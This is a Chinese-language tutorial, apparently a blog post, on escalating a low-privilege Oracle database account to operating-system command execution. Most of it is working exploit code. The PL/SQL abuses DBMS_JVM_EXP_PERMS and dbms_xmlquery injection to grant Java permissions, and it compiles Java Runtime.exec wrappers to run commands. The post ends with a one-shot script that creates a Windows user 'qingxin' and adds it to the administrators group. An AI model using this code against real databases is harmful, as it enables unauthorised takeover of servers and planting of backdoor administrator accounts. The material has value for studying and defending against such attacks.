Oracle数据库提权(dba权限执行系统命令)

 

0x01 提权准备

这里我们先创建一个低权限的用户test

 

SQL> conn sys/admin123@orcl as sysdba;

 

已连接。

SQL> create user test identified by test;

 

 

 

然后查看一下权限

SQL> select * from session_privs;

PRIVILEGE

CREATE SESSION

 

如上显示，test没有JAVA权限，也只有CREATE SESSION权限

 

我们如果要通过数据库执行系统命令，那么首先要提升数据库用户的权限。

 

 

 

我们首先要获取java权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT \'GRANT\', \'ZTZ\', \'SYS\', \'java.io.FilePermission\', \'<<ALL

 FILES>>\', \'execute\', \'ENABLED\' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 

 

如果想要执行任意代码的话还需要额外获得java.lang.RuntimePermission权限

DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT \'GRANT\', USER(), \'SYS\', \'java.lang.RuntimePermission\',

\'writeFileDescriptor\', \'NULL\', \'ENABLED\' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 DECLARE

    POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;

    CURSOR C1 IS SELECT \'GRANT\', USER(), \'SYS\', \'java.lang.RuntimePermission\',

\'readFileDescriptor\', \'NULL\', \'ENABLED\' FROM DUAL;

    BEGIN

    OPEN C1;

    FETCH C1 BULK COLLECT INTO POL;

    CLOSE C1;

    DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);

    END;

   /

 

 

0x02 JAVA权限执行命令

 

用我们的test帐号登录

 

 

1、首先我们创建java包

select dbms_xmlquery.newcontext(\'declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate \'\'create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}\'\';commit;end;\') from dual;

 

 

 

2、然后我们获取java权限

select dbms_xmlquery.newcontext(\'declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate \'\'begin dbms_java.grant_permission( \'\'\'\'SYSTEM\'\'\'\', \'\'\'\'SYS:java.io.FilePermission\'\'\'\', \'\'\'\'<<ALL FILES>>\'\'\'\',\'\'\'\'EXECUTE\'\'\'\');end;\'\'commit;end;\') from dual;

 

 

3、创建我们用来执行命令的函数

select dbms_xmlquery.newcontext(\'declar
e PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate \'\'create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name \'\'\'\'LinxUtil.runCMD(java.lang.String) return String\'\'\'\'; \'\';commit;end;\') from dual;

 

4、执行命令

select LinxRUNCMD(\'whoami\') from dual;

 

 

0x03 存储过程执行命令

 

若我们有create procedure权限，而不只是create session这么苦逼时，我们可以创建一个java class然后用创建一个过程来进行调用

 

 

1、首先创建一个java class然后用procedure包装它进行调用

create or replace and resolve java source named JAVACMD as

    import java.lang.*;

    import java.io.*;

    public class JAVACMD

    {

       public static void execmd(String command) throws IOException

       {

               Runtime.getRuntime().exec(command);

       }

   }

   /

 

 

 

 

2、创建调用的包

create or replace procedure MYJAVACMD(command in varchar) as language java

 

    name \'JAVACMD.execmd(java.lang.String)\';

/

 

 

3、执行我们的命令

EXEC MYJAVACMD(\'net user qingxin qingxin /add\');

 

 

会报错是因为代码中没有捕获异常，我们再执行一次即可

 

 

 

 

附上一把梭哈

 

 

CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED "JAVACMD" AS

import java.lang.*;

import java.io.*;public class JAVACMD

{public static void execCommand (String command) throws IOException

{

Runtime.getRuntime().exec(command);

}

};/

CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2)

AS LANGUAGE JAVA

NAME \'JAVACMD.execCommand (java.lang.String)\';/

exec javacmdproc(\'cmd.exe /c net user qingxin qingxin /add\');

exec javacmdproc(\'cmd.exe /c net localgroup administrators qingxin /add\');